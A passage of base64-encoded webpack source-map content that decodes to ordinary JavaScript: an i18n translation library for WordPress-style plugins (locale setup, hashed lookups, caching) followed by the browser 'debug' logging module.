F0gfHwge30sXG5cdFx0ZGVjaW1hbHMgPSAoIHR5cGVvZiBvcHRpb25zID09PSAnbnVtYmVyJyApID8gb3B0aW9ucyA6IG9wdGlvbnMuZGVjaW1hbHMgfHwgMCxcblx0XHRkZWNQb2ludCA9IG9wdGlvbnMuZGVjUG9pbnQgfHwgdGhpcy5zdGF0ZS5udW1iZXJGb3JtYXRTZXR0aW5ncy5kZWNpbWFsX3BvaW50IHx8ICcuJyxcblx0XHR0aG91c2FuZHNTZXAgPSBvcHRpb25zLnRob3VzYW5kc1NlcCB8fCB0aGlzLnN0YXRlLm51bWJlckZvcm1hdFNldHRpbmdzLnRob3VzYW5kc19zZXAgfHwgJywnO1xuXG5cdHJldHVybiBudW1iZXJGb3JtYXRQSFBKUyggbnVtYmVyLCBkZWNpbWFscywgZGVjUG9pbnQsIHRob3VzYW5kc1NlcCApO1xufTtcblxuSTE4Ti5wcm90b3R5cGUuY29uZmlndXJlID0gZnVuY3Rpb24oIG9wdGlvbnMgKSB7XG5cdGFzc2lnbiggdGhpcywgb3B0aW9ucyB8fCB7fSApO1xuXHR0aGlzLnNldExvY2FsZSgpO1xufTtcblxuSTE4Ti5wcm90b3R5cGUuc2V0TG9jYWxlID0gZnVuY3Rpb24oIGxvY2FsZURhdGEgKSB7XG5cdGlmICggbG9jYWxlRGF0YSAmJiBsb2NhbGVEYXRhWyAnJyBdICYmIGxvY2FsZURhdGFbICcnIF1bICdrZXktaGFzaCcgXSApIHtcblx0XHR2YXIgaGFzaExlbmd0aCwgbWluSGFzaExlbmd0aCwgbWF4SGFzaExlbmd0aCwga2V5SGFzaCA9IGxvY2FsZURhdGFbICcnIF1bICdrZXktaGFzaCcgXTtcblxuXHRcdHZhciB0cmFuc2Zvcm0gPSBmdW5jdGlvbiggc3RyaW5nLCBoYXNoTGVuZ3RoICkge1xuXHRcdFx0Y29uc3QgbG9va3VwUHJlZml4ID0gaGFzaExlbmd0aCA9PT0gZmFsc2UgPyAnJyA6IFN0cmluZyggaGFzaExlbmd0aCApO1xuXHRcdFx0aWYgKCB0eXBlb2YgaGFzaENhY2hlWyBsb29rdXBQcmVmaXggKyBzdHJpbmcgXSAhPT0gJ3VuZGVmaW5lZCcgKSB7XG5cdFx0XHRcdHJldHVybiBoYXNoQ2FjaGVbIGxvb2t1cFByZWZpeCArIHN0cmluZyBdO1xuXHRcdFx0fVxuXHRcdFx0dmFyIGhhc2ggPSBzaGExKCkudXBkYXRlKCBzdHJpbmcgKS5kaWdlc3QoJ2hleCcpO1xuXG5cdFx0XHRpZiAoIGhhc2hMZW5ndGggKSB7XG5cdFx0XHRcdHJldHVybiBoYXNoQ2FjaGVbIGxvb2t1cFByZWZpeCArIHN0cmluZyBdID0gaGFzaC5zdWJzdHIoIDAsIGhhc2hMZW5ndGggKTtcblx0XHRcdH1cblxuXHRcdFx0cmV0dXJuIGhhc2hDYWNoZVsgbG9va3VwUHJlZml4ICsgc3RyaW5nIF0gPSBoYXNoO1xuXHRcdH07XG5cblx0XHR2YXIgZ2VuZXJhdGVMb29rdXAgPSBmdW5jdGlvbiggaGFzaExlbmd0aCApIHtcblx0XHRcdHJldHVybiBmdW5jdGlvbiggb3B0aW9ucyApIHtcblx0XHRcdFx0aWYgKCBvcHRpb25zLmNvbnRleHQgKSB7XG5cdFx0XHRcdFx0b3B0aW9ucy5vcmlnaW5hbCA9IHRyYW5zZm9ybSggb3B0aW9ucy5jb250ZXh0ICsgU3RyaW5nLmZyb21DaGFyQ29kZSggNCApICsgb3B0aW9ucy5vcmlnaW5hbCwgaGFzaExlbmd0aCApO1xuXHRcdFx0XHRcdGRlbGV0ZSBvcHRpb25zLmNvbnRleHQ7XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0b3B0aW9ucy5vcmlnaW5hbCA9IHRyYW5zZm9ybSggb3B0aW9ucy5vcmlnaW5hbCwgaGFzaExlbmd0aCApO1xuXHRcdFx0XHR9XG5cblx0XHRcdFx0cmV0dXJuIG9wdGlvbnM7XG5cdFx0XHR9O1xuXHRcdH1cblxuXHRcdGlmICgga2V5SGFzaC5zdWJzdHIoIDAsIDQgKSA9PT0gJ3NoYTEnICkge1xuXHRcdFx0aWYgKCBrZXlIYXNoLmxlbmd0aCA9PT0gNCApIHtcblx0XHRcdFx0dHJhbnNsYXRpb25Mb29rdXAucHVzaCggZ2VuZXJhdGVMb29rdXAoIGZhbHNlICkgKTtcblx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdHZhciB2YXJpYWJsZUhhc2hMZW5ndGhQb3MgPSBrZXlIYXNoLnN1YnN0ciggNSApLmluZGV4T2YoICctJyApO1xuXHRcdFx0XHRpZiAoIHZhcmlhYmxlSGFzaExlbmd0aFBvcyA8IDAgKSB7XG5cdFx0XHRcdFx0aGFzaExlbmd0aCA9IE51bWJlcigga2V5SGFzaC5zdWJzdHIoIDUgKSApO1xuXHRcdFx0XHRcdHRyYW5zbGF0aW9uTG9va3VwLnB1c2goIGdlbmVyYXRlTG9va3VwKCBoYXNoTGVuZ3RoICkgKTtcblx0XHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0XHRtaW5IYXNoTGVuZ3RoID0gTnVtYmVyKCBrZXlIYXNoLnN1YnN0ciggNSwgdmFyaWFibGVIYXNoTGVuZ3RoUG9zICkgKTtcblx0XHRcdFx0XHRtYXhIYXNoTGVuZ3RoID0gTnVtYmVyKCBrZXlIYXNoLnN1YnN0ciggNiArIHZhcmlhYmxlSGFzaExlbmd0aFBvcyApICk7XG5cblx0XHRcdFx0XHRmb3IgKCBoYXNoTGVuZ3RoID0gbWluSGFzaExlbmd0aDsgaGFzaExlbmd0aCA8PSBtYXhIYXNoTGVuZ3RoOyBoYXNoTGVuZ3RoKysgKSB7XG5cdFx0XHRcdFx0XHR0cmFuc2xhdGlvbkxvb2t1cC5wdXNoKCBnZW5lcmF0ZUxvb2t1cCggaGFzaExlbmd0aCApICk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0Ly8gaWYgbG9jYWxlRGF0YSBpcyBub3QgZ2l2ZW4sIGFzc3VtZXMgZGVmYXVsdCBsb2NhbGUgYW5kIHJlc2V0XG5cdGlmICggISBsb2NhbGVEYXRhIHx8ICEgbG9jYWxlRGF0YVsgJycgXS5sb2NhbGVTbHVnICkge1xuXHRcdHRoaXMuc3RhdGUubG9jYWxlID0geyAnJzogeyBsb2NhbGVTbHVnOiB0aGlzLmRlZmF1bHRMb2NhbGVTbHVnIH0gfTtcblx0fSBlbHNlIGlmICggbG9jYWxlRGF0YVsgJycgXS5sb2NhbGVTbHVnID09PSB0aGlzLnN0YXRlLmxvY2FsZVNsdWcgKSB7XG5cdFx0Ly8gRXhpdCBpZiBzYW1lIGRhdGEgYXMgY3VycmVudCAoY29tcGFyaW5nIHJlZmVyZW5jZXMgb25seSlcblx0XHRpZiAoIGxvY2FsZURhdGEgPT09IHRoaXMuc3RhdGUubG9jYWxlICkge1xuXHRcdFx0cmV0dXJuO1xuXHRcdH1cblxuXHRcdC8vIG1lcmdlIG5ldyBkYXRhIGludG8gZXhpc3Rpbmcgb25lXG5cdFx0YXNzaWduKCB0aGlzLnN0YXRlLmxvY2FsZSwgbG9jYWxlRGF0YSApO1xuXHR9IGVsc2Uge1xuXHRcdHRoaXMuc3RhdGUubG9jYWxlID0gYXNzaWduKCB7fSwgbG9jYWxlRGF0YSApO1xuXHR9XG5cblx0dGhpcy5zdGF0ZS5sb2NhbGVTbHVnID0gdGhpcy5zdGF0ZS5sb2NhbGVbICcnIF0ubG9jYWxlU2x1ZztcblxuXHR0aGlzLnN0YXRlLmplZCA9IG5ldyBKZWQoIHtcblx0XHRsb2NhbGVfZGF0YToge1xuXHRcdFx0bWVzc2FnZXM6IHRoaXMuc3RhdGUubG9jYWxlXG5cdFx0fVxuXHR9ICk7XG5cblxuXHQvLyBVcGRhdGVzIG51bWJlckZvcm1hdCBwcmVmZXJlbmNlcyB3aXRoIHNldHRpbmdzIGZyb20gdHJhbnNsYXRpb25zXG5cdHRoaXMuc3RhdGUubnVtYmVyRm9ybWF0U2V0dGluZ3MuZGVjaW1hbF9wb2ludCA9IGdldFRyYW5zbGF0aW9uRnJvbUplZChcblx0XHR0aGlzLnN0YXRlLmplZCxcblx0XHRub3JtYWxpemVUcmFuc2xhdGVBcmd1bWVudHMoIFsgZGVjaW1hbF9wb2ludF90cmFuc2xhdGlvbl9rZXkgXSApXG5cdCk7XG5cdHRoaXMuc3RhdGUubnVtYmVyRm9ybWF0U2V0dGluZ3MudGhvdXNhbmRzX3NlcCA9IGdldFRyYW5zbGF0aW9uRnJvbUplZChcblx0XHR0aGlzLnN0YXRlLmplZCxcblx0XHRub3JtYWxpemVUcmFuc2xhdGVBcmd1bWVudHMoIFsgdGhvdXNhbmRzX3NlcF90cmFuc2xhdGlvbl9rZXkgXSApXG5cdCk7XG5cblx0Ly8gSWYgdHJhbnNsYXRpb24gaXNuJ3Qgc2V0LCBkZWZpbmUgZGVmYXVsdHMuXG5cdGlmICggdGhpcy5zdGF0ZS5udW1iZXJGb3JtYXRTZXR0aW5ncy5kZWNpbWFsX3BvaW50ID09PSBkZWNpbWFsX3BvaW50X3RyYW5zbGF0aW9uX2tleSApIHtcblx0XHR0aGlzLnN0YXRlLm51bWJlckZvcm1hdFNldHRpbmdzLmRlY2ltYWxfcG9pbnQgPSAnLic7XG5cdH1cblxuXHRpZiAoIHRoaXMuc3RhdGUubnVtYmVyRm9ybWF0U2V0dGluZ3MudGhvdXNhbmRzX3NlcCA9PT0gdGhvdXNhbmRzX3NlcF90cmFuc2xhdGlvbl9rZXkgKSB7XG5cdFx0dGhpcy5zdGF0ZS5udW1iZXJGb3JtYXRTZXR0aW5ncy50aG91c2FuZHNfc2VwID0gJywnO1xuXHR9XG5cblx0dGhpcy5zdGF0ZS50cmFuc2xhdGlvbnMuY2xlYXIoKTtcblx0dGhpcy5zdGF0ZU9ic2VydmVyLmVtaXQoICdjaGFuZ2UnICk7XG59O1xuXG5JMThOLnByb3RvdHlwZS5nZXRMb2NhbGUgPSBmdW5jdGlvbigpIHtcblx0cmV0dXJuIHRoaXMuc3RhdGUubG9jYWxlO1xufTtcblxuLyoqXG4gKiBHZXQgdGhlIGN1cnJlbnQgbG9jYWxlIHNsdWcuXG4gKiBAcmV0dXJucyB7c3RyaW5nfSBUaGUgc3RyaW5nIHJlcHJlc2VudGluZyB0aGUgY3VycmVudGx5IGxvYWRlZCBsb2NhbGVcbiAqKi9cbkkxOE4ucHJvdG90eXBlLmdldExvY2FsZVNsdWcgPSBmdW5jdGlvbigpIHtcblx0cmV0dXJuIHRoaXMuc3RhdGUubG9jYWxlU2x1Zztcbn07XG5cblxuLyoqXG4gKiBBZGRzIG5ldyB0cmFuc2xhdGlvbnMgdG8gdGhlIGxvY2FsZSBkYXRhLCBvdmVyd3JpdGluZyBhbnkgZXhpc3RpbmcgdHJhbnNsYXRpb25zIHdpdGggYSBtYXRjaGluZyBrZXlcbiAqKi9cbkkxOE4ucHJvdG90eXBlLmFkZFRyYW5zbGF0aW9ucyA9IGZ1bmN0aW9uKCBsb2NhbGVEYXRhICkge1xuXHRmb3IgKCB2YXIgcHJvcCBpbiBsb2NhbGVEYXRhICkge1xuXHRcdGlmICggcHJvcCAhPT0gJycgKSB7XG5cdFx0XHR0aGlzLnN0YXRlLmplZC5vcHRpb25zLmxvY2FsZV9kYXRhLm1lc3NhZ2VzW3Byb3BdID0gbG9jYWxlRGF0YVtwcm9wXTtcblx0XHR9XG5cdH1cblxuXHR0aGlzLnN0YXRlLnRyYW5zbGF0aW9ucy5jbGVhcigpO1xuXHR0aGlzLnN0YXRlT2JzZXJ2ZXIuZW1pdCggJ2NoYW5nZScgKTtcbn07XG5cblxuLyoqXG4gKiBDaGVja3Mgd2hldGhlciB0aGUgZ2l2ZW4gb3JpZ2luYWwgaGFzIGEgdHJhbnNsYXRpb24uIFBhcmFtZXRlcnMgYXJlIHRoZSBzYW1lIGFzIGZvciB0cmFuc2xhdGUoKS5cbiAqXG4gKiBAcGFyYW0gIHtzdHJpbmd9IG9yaWdpbmFsICB0aGUgc3RyaW5nIHRvIHRyYW5zbGF0ZVxuICogQHBhcmFtICB7c3RyaW5nfSBwbHVyYWwgICAgdGhlIHBsdXJhbCBzdHJpbmcgdG8gdHJhbnNsYXRlIChpZiBhcHBsaWNhYmxlKSwgb3JpZ2luYWwgdXNlZCBhcyBzaW5ndWxhclxuICogQHBhcmFtICB7b2JqZWN0fSBvcHRpb25zICAgcHJvcGVydGllcyBkZXNjcmliaW5nIHRyYW5zbGF0aW9uIHJlcXVpcmVtZW50cyBmb3IgZ2l2ZW4gdGV4dFxuICogQHJldHVybiB7Ym9vbGVhbn0gd2hldGhlciBhIHRyYW5zbGF0aW9uIGV4aXN0c1xuICovXG5JMThOLnByb3RvdHlwZS5oYXNUcmFuc2xhdGlvbiA9IGZ1bmN0aW9uKCkge1xuXHRyZXR1cm4gISEgZ2V0VHJhbnNsYXRpb24oIHRoaXMsIG5vcm1hbGl6ZVRyYW5zbGF0ZUFyZ3VtZW50cyggYXJndW1lbnRzICkgKTtcbn1cblxuLyoqXG4gKiBFeHBvc2VzIHNpbmdsZSB0cmFuc2xhdGlvbiBtZXRob2QsIHdoaWNoIGlzIGNvbnZlcnRlZCBpbnRvIGl0cyByZXNwZWN0aXZlIEplZCBtZXRob2QuXG4gKiBTZWUgc2libGluZyBSRUFETUVcbiAqIEBwYXJhbSAge3N0cmluZ30gb3JpZ2luYWwgIHRoZSBzdHJpbmcgdG8gdHJhbnNsYXRlXG4gKiBAcGFyYW0gIHtzdHJpbmd9IHBsdXJhbCAgICB0aGUgcGx1cmFsIHN0cmluZyB0byB0cmFuc2xhdGUgKGlmIGFwcGxpY2FibGUpLCBvcmlnaW5hbCB1c2VkIGFzIHNpbmd1bGFyXG4gKiBAcGFyYW0gIHtvYmplY3R9IG9wdGlvbnMgICBwcm9wZXJ0aWVzIGRlc2NyaWJpbmcgdHJhbnNsYXRpb24gcmVxdWlyZW1lbnRzIGZvciBnaXZlbiB0ZXh0XG4gKiBAcmV0dXJuIHtzdHJpbmd8UmVhY3QtY29tcG9uZW50c30gdHJhbnNsYXRlZCB0ZXh0IG9yIGFuIG9iamVjdCBjb250YWluaW5nIFJlYWN0IGNoaWxkcmVuIHRoYXQgY2FuIGJlIGluc2VydGVkIGludG8gYSBwYXJlbnQgY29tcG9uZW50XG4gKi9cbkkxOE4ucHJvdG90eXBlLnRyYW5zbGF0ZSA9IGZ1bmN0aW9uKCkge1xuXHR2YXIgb3B0aW9ucywgdHJhbnNsYXRpb24sIHNwcmludGZBcmdzLCBlcnJvck1ldGhvZCwgb3B0aW9uc1N0cmluZywgY2FjaGVhYmxlO1xuXG5cdG9wdGlvbnMgPSBub3JtYWxpemVUcmFuc2xhdGVBcmd1bWVudHMoIGFyZ3VtZW50cyApO1xuXG5cdGNhY2hlYWJsZSA9ICEgb3B0aW9ucy5jb21wb25lbnRzO1xuXHRpZiAoIGNhY2hlYWJsZSApIHtcblx0XHQvLyBTYWZlIEpTT04gc3RyaW5naWZpY2F0aW9uIGhlcmUgdG8gY2F0Y2ggQ2lyY3VsYXIgSlNPTiBlcnJvclxuXHRcdC8vIGNhdXNlZCBieSBwYXNzaW5nIGEgUmVhY3QgY29tcG9uZW50IGludG8gYXJncyB3aGVyZSBvbmx5IHNjYWxhcnMgYXJlIGFsbG93ZWRcblx0XHR0cnkge1xuXHRcdFx0b3B0aW9uc1N0cmluZyA9IEpTT04uc3RyaW5naWZ5KCBvcHRpb25zICk7XG5cdFx0fSBjYXRjaCAoIGUgKSB7XG5cdFx0XHRjYWNoZWFibGUgPSBmYWxzZTtcblx0XHR9XG5cblx0XHRpZiAoIG9wdGlvbnNTdHJpbmcgKSB7XG5cdFx0XHR0cmFuc2xhdGlvbiA9IHRoaXMuc3RhdGUudHJhbnNsYXRpb25zLmdldCggb3B0aW9uc1N0cmluZyApO1xuXHRcdFx0Ly8gUmV0dXJuIHRoZSBjYWNoZWQgdHJhbnNsYXRpb24uXG5cdFx0XHRpZiAoIHRyYW5zbGF0aW9uICkge1xuXHRcdFx0XHRyZXR1cm4gdHJhbnNsYXRpb247XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0dHJhbnNsYXRpb24gPSBnZXRUcmFuc2xhdGlvbiggdGhpcywgb3B0aW9ucyApO1xuXHRpZiAoICEgdHJhbnNsYXRpb24gKSB7XG5cdFx0Ly8gVGhpcyBwdXJwb3NlZnVsbHkgY2FsbHMgamVkIGZvciBhIGNhc2Ugd2hlcmUgdGhlcmUgaXMgbm8gdHJhbnNsYXRpb24sXG5cdFx0Ly8gc28gdGhhdCBqZWQgZ2l2ZXMgdXMgdGhlIGV4cGVjdGVkIG9iamVjdCB3aXRoIEVuZ2xpc2ggdGV4dC5cblx0XHR0cmFuc2xhdGlvbiA9IGdldFRyYW5zbGF0aW9uRnJvbUplZCggdGhpcy5zdGF0ZS5qZWQsIG9wdGlvbnMgKTtcblx0fVxuXG5cdC8vIGhhbmRsZSBhbnkgc3RyaW5nIHN1YnN0aXR1dGlvblxuXHRpZiAoIG9wdGlvbnMuYXJncyApIHtcblx0XHRzcHJpbnRmQXJncyA9ICggQXJyYXkuaXNBcnJheSggb3B0aW9ucy5hcmdzICkgKSA/IG9wdGlvbnMuYXJncy5zbGljZSggMCApIDogWyBvcHRpb25zLmFyZ3MgXTtcblx0XHRzcHJpbnRmQXJncy51bnNoaWZ0KCB0cmFuc2xhdGlvbiApO1xuXHRcdHRyeSB7XG5cdFx0XHR0cmFuc2xhdGlvbiA9IEplZC5zcHJpbnRmLmFwcGx5KCBKZWQsIHNwcmludGZBcmdzICk7XG5cdFx0fSBjYXRjaCAoIGVycm9yICkge1xuXHRcdFx0aWYgKCAhIHdpbmRvdyB8fCAhIHdpbmRvdy5jb25zb2xlICkge1xuXHRcdFx0XHRyZXR1cm47XG5cdFx0XHR9XG5cdFx0XHRlcnJvck1ldGhvZCA9IHRoaXMudGhyb3dFcnJvcnMgPyAnZXJyb3InIDogJ3dhcm4nO1xuXHRcdFx0aWYgKCB0eXBlb2YgZXJyb3IgIT09ICdzdHJpbmcnICkge1xuXHRcdFx0XHR3aW5kb3cuY29uc29sZVsgZXJyb3JNZXRob2QgXSggZXJyb3IgKTtcblx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdHdpbmRvdy5jb25zb2xlWyBlcnJvck1ldGhvZCBdKCAnaTE4biBzcHJpbnRmIGVycm9yOicsIHNwcmludGZBcmdzICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0Ly8gaW50ZXJwb2xhdGUgYW55IGNvbXBvbmVudHNcblx0aWYgKCBvcHRpb25zLmNvbXBvbmVudHMgKSB7XG5cdFx0dHJhbnNsYXRpb24gPSBpbnRlcnBvbGF0ZUNvbXBvbmVudHMoIHtcblx0XHRcdG1peGVkU3RyaW5nOiB0cmFuc2xhdGlvbixcblx0XHRcdGNvbXBvbmVudHM6IG9wdGlvbnMuY29tcG9uZW50cyxcblx0XHRcdHRocm93RXJyb3JzOiB0aGlzLnRocm93RXJyb3JzXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gcnVuIGFueSBuZWNlc3NhcnkgaG9va3Ncblx0dGhpcy50cmFuc2xhdGVIb29rcy5mb3JFYWNoKCBmdW5jdGlvbiggaG9vayApIHtcblx0XHR0cmFuc2xhdGlvbiA9IGhvb2soIHRyYW5zbGF0aW9uLCBvcHRpb25zICk7XG5cdH0gKTtcblxuXHRpZiAoIGNhY2hlYWJsZSApIHtcblx0XHR0aGlzLnN0YXRlLnRyYW5zbGF0aW9ucy5zZXQoIG9wdGlvbnNTdHJpbmcsIHRyYW5zbGF0aW9uICk7XG5cdH1cblxuXHRyZXR1cm4gdHJhbnNsYXRpb247XG59O1xuXG4vKipcbiAqIENhdXNlcyBpMThuIHRvIHJlLXJlbmRlciBhbGwgdHJhbnNsYXRpb25zLlxuICpcbiAqIFRoaXMgY2FuIGJlIG5lY2Vzc2FyeSBpZiBhbiBleHRlbnNpb24gbWFrZXMgY2hhbmdlcyB0aGF0IGkxOG4gaXMgdW5hd2FyZSBvZlxuICogYW5kIG5lZWRzIHRob3NlIGNoYW5nZXMgbWFuaWZlc3RlZCBpbW1lZGlhdGVseSAoZS5nLiBhZGRpbmcgYW4gaW1wb3J0YW50XG4gKiB0cmFuc2xhdGlvbiBob29rLCBvciBtb2RpZnlpbmcgdGhlIGJlaGF2aW91ciBvZiBhbiBleGlzdGluZyBob29rKS5cbiAqXG4gKiBJZiBhdCBhbGwgcG9zc2libGUsIHJlYWN0IGNvbXBvbmVudHMgc2hvdWxkIHRyeSB0byB1c2UgdGhlIG1vcmUgbG9jYWxcbiAqIHVwZGF0ZVRyYW5zbGF0aW9uKCkgZnVuY3Rpb24gaW5oZXJpdGVkIGZyb20gdGhlIG1peGluLlxuICovXG5JMThOLnByb3RvdHlwZS5yZVJlbmRlclRyYW5zbGF0aW9ucyA9IGZ1bmN0aW9uKCkge1xuXHRkZWJ1ZyggJ1JlLXJlbmRlcmluZyBhbGwgdHJhbnNsYXRpb25zIGR1ZSB0byBleHRlcm5hbCByZXF1ZXN0JyApO1xuXHR0aGlzLnN0YXRlLnRyYW5zbGF0aW9ucy5jbGVhcigpO1xuXHR0aGlzLnN0YXRlT2JzZXJ2ZXIuZW1pdCggJ2NoYW5nZScgKTtcbn07XG5cbkkxOE4ucHJvdG90eXBlLnJlZ2lzdGVyQ29tcG9uZW50VXBkYXRlSG9vayA9IGZ1bmN0aW9uKCBjYWxsYmFjayApIHtcblx0dGhpcy5jb21wb25lbnRVcGRhdGVIb29rcy5wdXNoKCBjYWxsYmFjayApO1xufTtcblxuSTE4Ti5wcm90b3R5cGUucmVnaXN0ZXJUcmFuc2xhdGVIb29rID0gZnVuY3Rpb24oIGNhbGxiYWNrICkge1xuXHR0aGlzLnRyYW5zbGF0ZUhvb2tzLnB1c2goIGNhbGxiYWNrICk7XG59O1xuXG5tb2R1bGUuZXhwb3J0cyA9IEkxOE47XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9pMThuLXdwLXBsdWdpbi9saWIvaW5kZXguanNcbi8vIG1vZHVsZSBpZCA9IDkyXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IDUiLCIvKipcbiAqIFRoaXMgaXMgdGhlIHdlYiBicm93c2VyIGltcGxlbWVudGF0aW9uIG9mIGBkZWJ1ZygpYC5cbiAqXG4gKiBFeHBvc2UgYGRlYnVnKClgIGFzIHRoZSBtb2R1bGUuXG4gKi9cblxuZXhwb3J0cyA9IG1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9kZWJ1ZycpO1xuZXhwb3J0cy5sb2cgPSBsb2c7XG5leHBvcnRzLmZvcm1hdEFyZ3MgPSBmb3JtYXRBcmdzO1xuZXhwb3J0cy5zYXZlID0gc2F2ZTtcbmV4cG9ydHMubG9hZCA9IGxvYWQ7XG5leHBvcnRzLnVzZUNvbG9ycyA9IHVzZUNvbG9ycztcbmV4cG9ydHMuc3RvcmFnZSA9ICd1bmRlZmluZWQnICE9IHR5cGVvZiBjaHJvbWVcbiAgICAgICAgICAgICAgICYmICd1bmRlZmluZWQnICE9IHR5cGVvZiBjaHJvbWUuc3RvcmFnZVxuICAgICAgICAgICAgICAgICAgPyBjaHJvbWUuc3RvcmFnZS5sb2NhbFxuICAgICAgICAgICAgICAgICAgOiBsb2NhbHN0b3JhZ2UoKTtcblxuLyoqXG4gKiBDb2xvcnMuXG4gKi9cblxuZXhwb3J0cy5jb2xvcnMgPSBbXG4gICcjMDAwMENDJywgJyMwMDAwRkYnLCAnIzAwMzNDQycsICcjMDAzM0ZGJywgJyMwMDY2Q0MnLCAnIzAwNjZGRicsICcjMDA5OUNDJyxcbiAgJyMwMDk5RkYnLCAnIzAwQ0MwMCcsICcjMDBDQzMzJywgJyMwMENDNjYnLCAnIzAwQ0M5OScsICcjMDBDQ0NDJywgJyMwMENDRkYnLFxuICAnIzMzMDBDQycsICcjMzMwMEZGJywgJyMzMzMzQ0MnLCAnIzMzMzNGRicsICcjMzM2NkNDJywgJyMzMzY2RkYnLCAnIzMzOTlDQycsXG4gICcjMzM5OUZGJywgJyMzM0NDMDAnLCAnIzMzQ0MzMycsICcjMzNDQzY2JywgJyMzM0NDOTknLCAnIzMzQ0NDQycsICcjMzNDQ0ZGJyxcbiAgJyM2NjAwQ0MnLCAnIzY2MDBGRicsICcjNjYzM0NDJywgJyM2NjMzRkYnLCAnIzY2Q0MwMCcsICcjNjZDQzMzJywgJyM5OTAwQ0MnLFxuICAnIzk5MDBGRicsICcjOTkzM0NDJywgJyM5OTMzRkYnLCAnIzk5Q0MwMCcsICcjOTlDQzMzJywgJyNDQzAwMDAnLCAnI0NDMDAzMycsXG4gICcjQ0MwMDY2JywgJyNDQzAwOTknLCAnI0NDMDBDQycsICcjQ0MwMEZGJywgJyNDQzMzMDAnLCAnI0NDMzMzMycsICcjQ0MzMzY2JyxcbiAgJyNDQzMzOTknLCAnI0NDMzNDQycsICcjQ0MzM0ZGJywgJyNDQzY2MDAnLCAnI0NDNjYzMycsICcjQ0M5OTAwJywgJyNDQzk5MzMnLFxuICAnI0NDQ0MwMCcsICcjQ0NDQzMzJywgJyNGRjAwMDAnLCAnI0ZGMDAzMycsICcjRkYwMDY2JywgJyNGRjAwOTknLCAnI0ZGMDBDQycsXG4gICcjRkYwMEZGJywgJyNGRjMzMDAnLCAnI0ZGMzMzMycsICcjRkYzMzY2JywgJyNGRjMzOTknLCAnI0ZGMzNDQycsICcjRkYzM0ZGJyxcbiAgJyNGRjY2MDAnLCAnI0ZGNjYzMycsICcjRkY5OTAwJywgJyNGRjk5MzMnLCAnI0ZGQ0MwMCcsICcjRkZDQzMzJ1xuXTtcblxuLyoqXG4gKiBDdXJyZW50bHkgb25seSBXZWJLaXQtYmFzZWQgV2ViIEluc3BlY3RvcnMsIEZpcmVmb3ggPj0gdjMxLFxuICogYW5kIHRoZSBGaXJlYnVnIGV4dGVuc2lvbiAoYW55IEZpcmVmb3ggdmVyc2lvbikgYXJlIGtub3duXG4gKiB0byBzdXBwb3J0IFwiJWNcIiBDU1MgY3VzdG9taXphdGlvbnMuXG4gKlxuICogVE9ETzogYWRkIGEgYGxvY2FsU3RvcmFnZWAgdmFyaWFibGUgdG8gZXhwbGljaXRseSBlbmFibGUvZGlzYWJsZSBjb2xvcnNcbiAqL1xuXG5mdW5jdGlvbiB1c2VDb2xvcnMoKSB7XG4gIC8vIE5COiBJbiBhbiBFbGVjdHJvbiBwcmVsb2FkIHNjcmlwdCwgZG9jdW1lbnQgd2lsbCBiZSBkZWZpbmVkIGJ1dCBub3QgZnVsbHlcbiAgLy8gaW5pdGlhbGl6ZWQuIFNpbmNlIHdlIGtub3cgd2UncmUgaW4gQ2hyb21lLCB3ZSdsbCBqdXN0IGRldGVjdCB0aGlzIGNhc2VcbiAgLy8gZXhwbGljaXRseVxuICBpZiAodHlwZW9mIHdpbmRvdyAhPT0gJ3VuZGVmaW5lZCcgJiYgd2luZG93LnByb2Nlc3MgJiYgd2luZG93LnByb2Nlc3MudHlwZSA9PT0gJ3JlbmRlcmVyJykge1xuICAgIHJldHVybiB0cnVlO1xuICB9XG5cbiAgLy8gSW50ZXJuZXQgRXhwbG9yZXIgYW5kIEVkZ2UgZG8gbm90IHN1cHBvcnQgY29sb3JzLlxuICBpZiAodHlwZW9mIG5hdmlnYXRvciAhPT0gJ3VuZGVmaW5lZCcgJiYgbmF2aWdhdG9yLnVzZXJBZ2VudCAmJiBuYXZpZ2F0b3IudXNlckFnZW50LnRvTG93ZXJDYXNlKCkubWF0Y2goLyhlZGdlfHRyaWRlbnQpXFwvKFxcZCspLykpIHtcbiAgICByZXR1cm4gZmFsc2U7XG4gIH1cblxuICAvLyBpcyB3ZWJraXQ/IGh0dHA6Ly9zdGFja292ZXJmbG93LmNvbS9hLzE2NDU5NjA2LzM3Njc3M1xuICAvLyBkb2N1bWVudCBpcyB1bmRlZmluZWQgaW4gcmVhY3QtbmF0aXZlOiBodHRwczovL2dpdGh1Yi5jb20vZmFjZWJvb2svcmVhY3QtbmF0aXZlL3B1bGwvMTYzMlxuICByZXR1cm4gKHR5cGVvZiBkb2N1bWVudCAhPT0gJ3VuZGVmaW5lZCcgJiYgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50ICYmIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zdHlsZSAmJiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc3R5bGUuV2Via2l0QXBwZWFyYW5jZSkgfHxcbiAgICAvLyBpcyBmaXJlYnVnPyBodHRwOi8vc3RhY2tvdmVyZmxvdy5jb20vYS8zOTgxMjAvMzc2NzczXG4gICAgKHR5cGVvZiB3aW5kb3cgIT09ICd1bmRlZmluZWQnICYmIHdpbmRvdy5jb25zb2xlICYmICh3aW5kb3cuY29uc29sZS5maXJlYnVnIHx8ICh3aW5kb3cuY29uc29sZS5leGNlcHRpb24gJiYgd2luZG93LmNvbnNvbGUudGFibGUpKSkgfHxcbiAgICAvLyBpcyBmaXJlZm94ID49IHYzMT9cbiAgICAvLyBodHRwczovL2RldmVsb3Blci5tb3ppbGxhLm9yZy9lbi1VUy9kb2NzL1Rvb2xzL1dlYl9Db25zb2xlI1N0eWxpbmdfbWVzc2FnZXNcbiAgICAodHlwZW9mIG5hd